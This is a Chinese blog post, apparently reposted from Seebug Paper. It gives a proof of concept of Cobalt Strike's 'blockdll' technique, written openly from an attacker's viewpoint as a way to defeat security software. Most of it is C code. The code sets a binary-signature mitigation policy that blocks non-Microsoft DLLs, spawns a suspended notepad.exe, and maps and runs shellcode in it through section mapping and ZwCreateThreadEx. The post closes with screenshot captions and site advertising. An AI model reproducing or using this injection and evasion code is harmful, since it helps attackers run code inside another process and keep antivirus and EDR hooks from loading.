关于 CS 的 Blockdll 实现的个人 POC

栏目: 编程工具 · 发布时间: 5年前

内容简介:针对特定进程,禁止加载未签名的DLL(SignatureMitigationOptIn)针对特定进程, 禁止加载远程DLL(ProhibitRemoteImageMap)针对特定进程, 禁止加载文件的完整性级别为Low的镜像文件(ProhibitLowILImageMap)

作者:1u0m

本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!

投稿邮箱:paper@seebug.org

0x00 什么是BlockDll

  1. 根据CobaltStrike作者Raphael Mudge的说法就是阻止进程在创建的时候安全软件的dll被加载,比如 dllhijack或者是dll加载形式的hook,这功能本来是用于提升自身软件的安全而缓解攻击用的(比如Chrome和Edge),但是站在攻击者角度来看这可以是个不错的抵御安全软件的方法
  2. [G|S]etProcessMitigationPolicy与PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY

针对特定进程,禁止加载未签名的DLL(SignatureMitigationOptIn)

针对特定进程, 禁止加载远程DLL(ProhibitRemoteImageMap)

针对特定进程, 禁止加载文件的完整性级别为Low的镜像文件(ProhibitLowILImageMap)

0x01 进程保护的实现

在参考chrome的源码后发现保护当前进程的流程很简单,如下:

  • GetProcessMitigationPolicy 获取当前进程的缓解策略
  • policy.MitigationOptIn = 1 修改签名属性
  • SetProcessMitigationPolicy 应用策略
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy;
if (!GetProcessMitigationPolicy(hProc, ProcessSignaturePolicy, &policy, sizeof(policy)))
{
    wprintf(L"[x] Get Process Policy failed code: %d\n", GetLastError());
    return FALSE;
}
//policy.AuditMicrosoftSignedOnly = 1;
policy.MitigationOptIn = 1;
//policy.StoreSignedOnly = 1;  // need sedebug
if (SetProcessMitigationPolicy(ProcessSignaturePolicy, &policy, sizeof(policy)))
{
    wprintf(L"[*] Set Process Policy Success!\n");
    return TRUE;
}
else
{
    wprintf(L"[x] Set Process Policy Error code: %d\n", GetLastError());
    return FALSE;
}
  • 这样就简单完成了保护,但是通过测试发现这种方法不适于远程进程,仅限与当前进程(可能是我的方法不对,我没成功。不过可以变通下,根据资料,属性可以继承,意思就是在上面的继承上可以创建子进程实现子经常收缓解策略保护[这里留个坑,避免伸手党])

0x02 ShellCode也来玩玩

毕竟直接给目标上exe和dll是不太环保的,可这种方法怎么在shellcode的基础上实现呢,大牛看过上面的文章后可能已经有了自己的想法了,这里我也分析下我的想法

  • 拉起一个暂停的进程
  • 将shellcode挂载到目标进程
  • 恢复进程以shellcode作为入口点运行

其实就是 Process Hollowing ,不过这里用的是shellcode而已 这里的关键点是CreateProcess函数的lpStartupInfo的设置,而StartupInfo的关键在于 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON

DWORD64 ProtectionLevel = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; //policy.MitigationOptIn
SIZE_T AttributeListSize;

InitializeProcThreadAttributeList(NULL, 1, 0, &AttributeListSize);

si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(),0,AttributeListSize);

if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &AttributeListSize) == FALSE)
{
    wprintf(L"[x] InitializeProcThreadAttributeList failed code: %d\n", GetLastError());
    return -1;
}
if (UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &ProtectionLevel, sizeof(ProtectionLevel), NULL, NULL) == FALSE)
{
    wprintf(L"[x] UpdateProcThreadAttribute failed code: %d\n", GetLastError());
    return -1;
}

我这里拉起一个notpad.exe的进程,将shellcode挂载到notepad.exe中

ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\notepad.exe",(LPWSTR)app_path, sizeof(app_path));
wprintf(L"[*] Prcoess full path: %s\n", app_path);
wprintf(L"[*] Creating suspended process...\n");
if (!CreateProcessW((LPWSTR)app_path, // lpApplicationName
    NULL,             // lpCommandLine
    NULL,             // lpProcessAttributes
    NULL,             // lpThreadAttributes
    NULL,             // bInheritHandles
    CREATE_SUSPENDED | DETACHED_PROCESS |
    EXTENDED_STARTUPINFO_PRESENT, // dwCreationFlags
    NULL,                 // lpEnvironment
    NULL,                 // lpCurrentDirectory
    (STARTUPINFO)&si,                  // lpStartupInfo
    π                   // lpProcessInformation
)) {
    wprintf(L"[x] CreateProcess failed code: %d\n", GetLastError());
    return -1;
}

maxSize.HighPart = 0;
maxSize.LowPart = 0x1000;

wprintf(L"[*] Creating a new section...\n");
if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize,
    PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) !=
    STATUS_SUCCESS) {
    wprintf(L"[x]: ZwCreateSection failed, status: %x\n", status);
    return -1;
}
wprintf(L"[*] Section handle: %p\n", hSection);

wprintf(L"[*] Mapping the section into current process' context...\n");
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(),
    &sectionBaseAddress, NULL, NULL, NULL,
    &viewSize, inheritDisposition, NULL,
    PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
    wprintf(L"[x] NtMapViewOfSection failed, status : %x\n", status);
    return -1;
}
wprintf(L"Section BaseAddress: %p\n", sectionBaseAddress);

wprintf(L"Copying shellcode into section ...\n");
memcpy(sectionBaseAddress, shellcode, sizeof(shellcode));
wprintf(L"Shellcode copied!\n");

wprintf(L"Mapping the section into target process' context ...\n");
if ((status =
    NtMapViewOfSection(hSection, pi.hProcess, &sectionBaseAddress2, NULL,
        NULL, NULL, &viewSize, inheritDisposition, NULL,
        PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
    wprintf(L"NtMapViewOfSection failed, status : %x\n", status);
    return -1;
}
wprintf(L"Section correctly mapped!\n");

wprintf(L"Unmapping section from current process ...\n");
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
ZwClose(hSection);
hSection = NULL;
wprintf(L"Section unmapped from current process!\n");

wprintf(L"Creating a new thread for the injected shellcode ...\n");
if ((status = ZwCreateThreadEx(&threadHandle, 0x1FFFFF, NULL, pi.hProcess,
    sectionBaseAddress2, NULL, CREATE_SUSPENDED, 0,
    0, 0, 0)) != STATUS_SUCCESS) {
    wprintf(L"ZwCreateThreadEx failed, status : %x\n", status);
    return -1;
}

可以看的出成功以后,msgbox执行,notepad也执行起来,由于我装个QQ输入法,当我点击notepad的时候输入法的dll会加载失败 关于 CS 的 Blockdll 实现的个人 POC

使用GetProcessMitigationPolicy查看缓解策略的信息 关于 CS 的 Blockdll 实现的个人 POC

0x03 结语


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入理解LINUX内核(第三版)

深入理解LINUX内核(第三版)

(美)博韦,西斯特 / 陈莉君;张琼声;张宏伟 / 中国电力出版社 / 2007-10-01 / 98.00元

为了彻底理解是什么使得Linux能正常运行以及其为何能在各种不同的系统中运行良好,你需要深入研究内核最本质的部分。内核处理CPU与外界间的所有交互,并且决定哪些程序将以什么顺序共享处理器时间。它如此有效地管理有限的内存,以至成百上千的进程能高效地共享系统。它熟练地统筹数据传输,这样CPU 不用为等待速度相对较慢的硬盘而消耗比正常耗时更长的时间。 《深入理解Linux内核,第三版》指导你对内核......一起来看看 《深入理解LINUX内核(第三版)》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换